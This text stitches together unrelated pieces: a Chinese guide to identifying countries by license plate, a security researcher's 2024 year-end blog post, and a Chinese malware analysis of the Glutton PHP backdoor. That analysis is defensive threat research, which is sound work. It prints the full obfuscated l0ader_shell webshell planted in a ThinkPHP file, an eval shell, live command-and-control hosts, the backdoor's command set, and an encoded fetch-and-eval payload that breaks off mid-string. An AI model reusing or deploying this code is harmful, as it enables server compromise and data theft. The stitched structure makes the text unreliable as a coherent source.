How can I identify the country based on a license plate?

欧洲

我们可以分为两部分,欧盟与非欧盟

欧盟

欧盟车牌形状较为细长,大部分欧盟国家车牌的左边会有蓝底欧盟标志,下方是国家缩写,右边是白底和车牌号码

image

但也有个别特例,比如塞浦路斯、卢森堡、荷兰,他们的右半边是黄色的

image

而法国和意大利,左右都有一小部分的蓝色

image

image

葡萄牙独具特色,左蓝中白右黄

image

非欧盟

重点先说一下阿尔巴尼亚和土耳其,因为他俩喜欢凑热闹,车牌与欧盟成员相近

image

image

英国车牌前后不一致,前面车牌是白色,后面是黄色,左半边都是蓝色

image

俄罗斯车牌前后都是白色

image

乌克兰的车牌会在左边有一小点的淡蓝色,下方会有黄底

image

北美洲

美国、加南大

美国和加南大车牌五花八门,样式各异

image
image

但是车牌形状与欧洲相比更加短而宽

墨西哥

image

以白色为基础,形状比美国和加拿大的长一些,没有那么方

image

南美洲

巴西、阿根廷、乌拉圭、巴拉圭

巴西、阿根廷、乌拉圭、巴拉圭的车牌上面是一小部分长条蓝色,下面是大幅白色

image

image

智利

智利私家车车牌是白色长方形

image

但他们出租车是黄色车牌

image

哥伦比亚

哥伦比亚的小汽车和摩托车车牌大多是黄色,形状比较方

image

厄瓜多尔、秘鲁

厄瓜多尔、秘鲁车牌是白色的

image

非洲

突尼斯

突尼斯位于地中海沿岸,车牌是黑色的

image

埃及

埃及的车牌上面蓝色下面白色,形状比南美那几个国家的要方一点

image

塞内加尔

塞内加尔位于非洲西部,车牌是蓝底白字,比较细长

image

加纳

加纳同样位于非洲西部,私家车是白色车牌,出租车是黄色,如果看到有黑人, 那就是加纳

image

尼日利亚

以白色为基础,附加各种图案

image

肯尼亚

比较有特色,前面是细长的白色车牌,后面是黄色比较宽大的白色车牌

image

南非

南非车牌是白色长条,微微有图案,不是那么明显

image

亚洲

以色列

以色列车牌左边是一小块蓝色,右边是黄色

image

约旦

约旦车牌是白底黑字,但形状不一定

image

阿联酋、沙特

白底黑字,形状比较短

image

印度

印度车牌是白底黑字长条

image

孟加拉

孟加拉车牌比印度短,有些还是黑色

image

斯里兰卡

斯里兰卡车牌前面是白色,后面是黄色

image

泰国

白底黑字,形状较为宽大

image

马来西亚

马来西亚车牌是黑色长条

image

印度尼西亚

印尼车牌格式各样

image

菲律宾

菲律宾车牌以白色为主,形状较短

image

中国、韩国、日本、越南

直接从周围街景的文字就能看出来,甚至不用看车牌

大洋洲

澳大利亚

白底黑字,形状与中国车牌相近

image

新西兰

种类繁多,但大部分也是以白色为基础

image

Annual Summary of 2024 | To be Better.

2024年12月24日22:00 | 平安夜🎄,这就到年底了,每天的日程还是挺满的,所以自己大概率是没办法抽出很多时间去一次性完成年终总结,于是打算提前几天动手,利用每晚的休息时间写一点,积少成多嘛。

前言

2024对我来说注定是不平凡的一年,一篇长达四年的大学青春小说在我的笔下迎来了属于它的结局。这篇小说虽然没有波澜壮阔的开场,但是有惊喜,也有遗憾,我自认为自己是一个念旧甚至到有点执着的人,每每翻过它时都不禁一叹:此去经年......大半个中国的游历;四年严苛的警务化管理;紧张的公安联考;一场轰轰烈烈却缘分未到的恋爱;感慨万千的毕业典礼;荣幸受邀参与了几场省部级、国家级安全比赛以及部门比武的出题、赛事支持工作;以及一场关于人生的豪赌。

做了什么?

b73037a5f259a395cf20b3f8528a65c

今年无疑是高产的一年,加上外出参赛、旅游、出差,轨迹地图又有了新成员,向南最远来到了福建福州,向西来到了陕西西安,而向北最远是内蒙古呼和浩特,除此之外,北京、天津、杭州、上海、南京、济南、青岛......见识到了不一样的风景

88a97050015b0cb7a0776c942b3f26d5d81a6c61c4e1b1d03d24369a6ab6a2

3b852a4a94987f2b313473628372d10e664954718df134ed4bd939f52f4fe1

46f9a5610e41f16bb4621e9cf6ac794ea9a66c300b7110113e634a0a97fbbc

还有许多祖国的大好河山还没有去探索,尤其是西部地区更是引人神往,所以后期看看有没有机会,弥补这方面的空白。

今年技术文章产量不高,写了20篇,其中在博客上更新了15篇,前期以分享比赛WriteUP为主,中间穿插研究了一些小玩意,比如网易云音乐前端加密算法的分析、手指指纹识别的分析,后期以学习如何分析国外高级持续性威胁组织的样本并详细记录为主,如APT-K-47 Asyncshell Version3 AnalysisAPT-K-47 Asyncshell Version1 AnalysisThe Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍等。

在此,感谢网络安全战队Chamd5 & Mini-VenomCTFIOT平台微步在线社区微步在云沙箱平台奇安信X实验室​、VirusTotal等各大网络安全组织的技术分享与支持,还有为了网络安全事业默默不停奉献的各位,正因为有大家的坚守,这个世界才逐渐变得更加安全与美好。

之前很多师傅好奇我的共同富裕板块进展咋样了?OK,现在我们揭秘一下。感谢各位老板的支持与抬爱,帮助师傅们累计达成合作意向20余次,比较成功。关于收费问题,请大家放心,过去是公益发布,现在以及将来也不会改变。

会有遗憾吗?

6b6369b7a6af00ee1fdf9f31dfc60d6

我持留白态度,硬要讲的话,我只说一句:祝天下有情人终成眷属,即使两人面临暂时的异地也不要害怕,双鸟暂时离分,必有重逢之日。如果真的最终没走到一起,却你们彼此相互努力过,那就没什么值得遗憾的。

01913f501b1a6b0b9c6d4082a4d8699

人生,不过就是一场豪赌。

生活是写好的剧本吗?就像活在一部电影里那样。

2023年11月1日,我记得特别清楚,奋斗了整整一天的蓝帽杯终于落下帷幕(真·黑灯搏杀,绷不住了),在返回学校后也是正式收心,开始了公安联考的学习。很多人问我,我花了大部分时间在网安学习和比赛上,那留给联考准备的时间够吗?我如实告诉大家:确实是非常紧张,每天都会有点焦虑,尤其是在看到周围同学得心应手的样子更是担心自己,先别说拔高了,能不能正常看完基础课都会是问题。但是没办法,自己做的孽就要自己承担。在很早之前我在实习日记里写过这样一句话:“我也想同情你,但我实在是做不到。人总要为自己的行为付出相应的代价。”一年前的子弹正中了我的眉心。那就啥也别说了,玩命看吧,每天都在两点左右回宿舍,有的时候太晚就直接在机房趴在椅子上睡着了。也算是功夫不负有心人,用最后一个月的时间里突击完了要学的基础内容。但是考试大家都懂,如果说学的是1+1=2,考的就是黎曼猜想(?),到底能考咋样对我来说就是运气问题了。

2024年1月,联考终于结束了。现在来看,我的运气还不错,综合来看考的还算理想,在大家成绩里也能算中上游水平,我甚是满意,尤其是申论考了68分更是给了我一个惊喜,我不奢求别的,毕竟蝴蝶飞不过沧海,谁又忍心责怪呢?突击要是能与别人日以继夜的勤勤恳恳相比肩,那就是对别人的不尊重了。

2024年6月,如期选岗,选得好不错,是个好岗位。但没过几天,我迎来了第二此机会,但与其说是机会,倒不如说是赌博,这次要押上的是自己的人生,它远没有联考选岗带来的真实,更像是镜中花、水中月。一边是联考的岗位,另一边是放弃这个现有的铁饭碗去选择一个还没有定局的考试,我觉得有100个人面临同样选择时,还是会选择联考的岗位,人生大事,可马虎不得;但我特立独行惯了,在纠结良久之后,也听遍了家里长辈的劝告之言,还是做出了放弃的决定。

image

声明发过去之后,感觉自己如释重负,甚至是有点飘飘然,有点小帅。

这次,幸运女神再次展现了她的微笑🙂

中间虽几经波折,此处我就一笔带过,总之自己是如愿来到了青岛,并且把自己的爱好变成了职业,不得不说,这是一件幸福的事。

回到上面,生活是写好的剧本吗?最起码在我看来不是的,希望大家亦是如此。

c03ca12fa4162eff2e6376b74b53f26

新的一年

不论是否相识,2025,祝看到这儿的你,天天开心,希望大家都能去奋力追求自己所爱的人和事,也希望我们都能够诚实地对待每一个当下,用每一个当下去触摸永恒,用每一个当下去做你应该做的事情,用每一个当下去爱你身边的人,用每一个当下去传递温暖,尤其在这样一个寒冷的冬天,不辜负每一场热爱与期待。

c6c0b6cfc6913d9a666b548cfe14289

今年我想用这样一句话勉励自己,也与大家共勉:我深知自己是一根廉价的火柴,本就是一棵朽木,没资格谈什么伟大与不朽,燃烧就是我存在的唯一价值(今天不燃烧过两天就返潮了,想烧也烧不着)。

嗷对,差点忘了,SanDieg0 | 圣地亚哥皮蛋-AndyNoel,断开连接......

了吗?

The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsN